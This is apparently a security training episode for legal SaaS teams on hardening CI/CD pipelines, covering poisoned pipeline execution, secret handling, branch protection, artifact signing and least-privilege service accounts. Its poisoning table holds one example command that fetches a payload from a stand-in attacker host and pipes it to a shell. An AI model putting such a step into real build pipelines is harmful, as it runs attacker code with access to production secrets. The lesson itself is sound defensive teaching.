Security for Legal SaaS

Episode 46 · Module 10 · Infrastructure

CI/CD Pipeline Security

19 May 2026 · 8:42 · Security for Legal SaaS

8:42 8:42

CI/CD — Continuous Integration and Continuous Deployment — is the automated pipeline that takes your source code, builds it, tests it, and deploys it to production. Every time a developer pushes a code change, the pipeline runs: compile, test, package into a container (as we discussed in Episode 45), deploy. Here is the uncomfortable reality: your CI/CD pipeline has access to production credentials, container registries, cloud APIs, database connection strings, and signing keys. It runs arbitrary code — whatever is defined in the pipeline configuration file. It is, by a wide margin, the most powerful system in your organisation. And in most legal SaaS teams, it is also the least hardened.

Today’s Lesson

Security for Legal SaaS — Episode 46: CI/CD Pipeline Security

The Most Powerful System You Own

CI/CD — Continuous Integration and Continuous Deployment — is the automated pipeline that takes your source code, builds it, tests it, and deploys it to production. Every time a developer pushes a code change, the pipeline runs: compile, test, package into a container (as we discussed in Episode 45), deploy.

Here is the uncomfortable reality: your CI/CD pipeline has access to production credentials, container registries, cloud APIs, database connection strings, and signing keys. It runs arbitrary code — whatever is defined in the pipeline configuration file. It is, by a wide margin, the most powerful system in your organisation. And in most legal SaaS teams, it is also the least hardened.

The OWASP Top 10 CI/CD Security Risks 1 project catalogs the most critical attack vectors. The introduction states what security teams already know: CI/CD pipelines are "the most privileged systems in most organisations' infrastructure, holding credentials to deploy to production, push container images, query cloud APIs, and configure databases, yet they are frequently the least hardened, least monitored, and most credential-dense environments."

The Pipeline as Attack Surface

An attacker who compromises your CI/CD pipeline doesn't need to find a vulnerability in your application. They can inject malicious code directly into your build process and have it deployed to production automatically. This is not theoretical.

The Wiz security research team documented 2 how attackers have exploited GitHub Actions workflows to steal secrets, inject backdoors, and compromise downstream systems. In March 2025, attackers compromised the popular `tj-actions/changed-files` GitHub Action, affecting over 23,000 repositories. Every pipeline that used that Action executed attacker-controlled code with full access to the pipeline's secrets.

GitGuardian's 2026 State of Secrets Sprawl report 3 found nearly 29 million new secrets exposed on public GitHub in 2025 — a 34% year-over-year increase. CI/CD configuration files and build artifacts were among the primary exposure vectors.

Sobering statistic: 59% of machines with compromised credentials in 2025 were CI/CD runners, not developer laptops. Pipelines — not people — are the primary breach surface.

Poisoned Pipeline Execution (PPE)

OWASP's CICD-SEC-4: Poisoned Pipeline Execution 4 describes three variants of pipeline poisoning:

Variant How It Works Example
Direct PPE (D-PPE) Attacker modifies the pipeline config file (e.g., `.github/workflows/ci.yml`) in a branch or pull request Changing the build step to `curl evil.com/payload \ bash`
Indirect PPE (I-PPE) Attacker modifies files referenced by the pipeline config — build scripts, Makefiles, test configurations Poisoning a test script that the pipeline executes
Public PPE (3PE) Open-source repos allow external contributors to submit pull requests that trigger pipelines A forked PR that modifies the build process

The impact is devastating: "Once able to execute malicious code within the CI pipeline, the attacker can conduct a wide array of malicious operations, all within the context of the pipeline's identity." This includes access to every secret available to the job — cloud credentials, registry tokens, deployment keys, database passwords.

For legal SaaS platforms, the consequence is direct: an attacker who poisons your pipeline can deploy a backdoored version of your contract review tool, your case management system, or your client portal — and your own deployment process delivers it to production.

Secret Management in Pipelines

Secrets are the most sensitive assets in your pipeline. The OWASP CI/CD Security Cheat Sheet 5 provides clear guidance:

Never hardcode secrets in pipeline configuration files. This seems obvious, but it remains one of the most common findings in security assessments. A database password in `.github/workflows/deploy.yml` is visible to every developer with repository access — and to every fork.

Use your CI platform's native secret management. GitHub Actions has encrypted secrets. GitLab CI has CI/CD variables with masking. Both inject secrets as environment variables at runtime and redact them from logs. But be aware of the limits — secrets injected as environment variables are visible to any process running in that pipeline step.

Integrate with an external secrets manager. For production credentials, use HashiCorp Vault (introduced in Episode 15) or your cloud provider's secrets manager (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault). The pipeline authenticates to the secrets manager, retrieves only the credentials it needs for that specific deployment, and those credentials are short-lived — they expire after the deployment completes.

Defence in depth for secrets: Even with external secrets managers, limit what each pipeline job can access. A job that runs unit tests should not have access to production database credentials. A job that builds documentation should not have access to cloud deployment keys. Scope secrets to specific jobs, not the entire pipeline.

Branch Protection and Code Review

Pipeline poisoning often starts with a malicious code change reaching a branch that triggers deployment. Branch protection rules are your first line of defence.

GitHub's branch protection features 6 and equivalent features in GitLab and Bitbucket allow you to:

For a legal SaaS team, the minimum configuration on your production branch should be: at least one reviewer, passing CI checks, and no direct pushes. This ensures that no single developer — and no compromised developer account — can push malicious code straight to production.

Artifact Integrity — Signing Build Outputs

Your pipeline produces artifacts — container images, compiled binaries, deployment packages. How do you know the artifact deployed to production is the same one your pipeline built? An attacker who compromises your container registry can replace a legitimate image with a backdoored one.

Sigstore and Cosign 7 provide keyless signing for container images. The pipeline signs the image as part of the build process. At deployment, the orchestrator verifies the signature before running the image. If the image was tampered with, the signature check fails and deployment is blocked.

SLSA (Supply-chain Levels for Software Artifacts) 8 — which we'll explore in depth next episode — defines four levels of build integrity. At Level 2, the build process generates a signed provenance attestation — a cryptographic proof documenting what was built, from which source, by which build system. This connects directly to the provenance chains we discussed in Episode 43, but applied to the build process itself rather than AI outputs.

Least Privilege for Pipeline Service Accounts

Pipeline service accounts — the identities your CI/CD system uses to interact with cloud providers, registries, and deployment targets — are consistently over-privileged. The Akeyless research on CI/CD secret mismanagement 9 found that most pipeline service accounts have far broader permissions than necessary, often because they were set up once with admin-level access and never scoped down.

The principle of least privilege (introduced in Episode 8) applies directly:

Pipeline Stage Needed Permissions Common Over-Privilege
Build Read source code, write build artifacts Full repo admin access
Test Read test data, run containers locally Access to production databases
Deploy Push to specific container registry, update specific services Full cloud admin
Rollback Update specific services to previous version Delete infrastructure

Each stage should have its own service account with the minimum permissions required. A deploy account should be able to deploy — but never destroy infrastructure. A test account should be able to read test data — but never touch production.

Hardening CI/CD strategies from Visual Studio Magazine 10 recommends treating pipeline permissions as a security-critical configuration that requires review — not a one-time setup that gets forgotten.

Key takeaway: Your CI/CD pipeline is simultaneously your most powerful and most targeted system. Secure it with the same rigour you apply to production infrastructure: external secrets management, branch protection with mandatory reviews, signed artifacts, least-privilege service accounts, and continuous monitoring of pipeline execution. If your pipeline is compromised, your production is compromised — and your deployment process delivered the attack.

What's Next

Next episode, we zoom out from the pipeline to the broader software supply chain. When you didn't write 95% of your application's code, supply chain security — SBOMs, dependency scanning, build provenance, and lessons from SolarWinds and xz-utils — becomes a survival skill.

Sources & references

  1. OWASP Top 10 CI/CD Security Risks
  2. Hardening GitHub Actions: Lessons from Recent Attacks — Wiz
  3. CI/CD Secrets Management: Secure Your Pipelines — GitGuardian
  4. CICD-SEC-4: Poisoned Pipeline Execution — OWASP
  5. CI/CD Security Cheat Sheet — OWASP
  6. About Branch Rules — GitHub Documentation
  7. Signing Containers with Cosign — Sigstore
  8. SLSA — Supply-chain Levels for Software Artifacts
  9. Hidden Risks of Secrets Mismanagement in CI/CD — Akeyless
  10. Hardening CI/CD: Essential Strategies — Visual Studio Magazine
  11. Proactive Pipeline Security: OWASP Top 10 CI/CD Risks — Scribe Security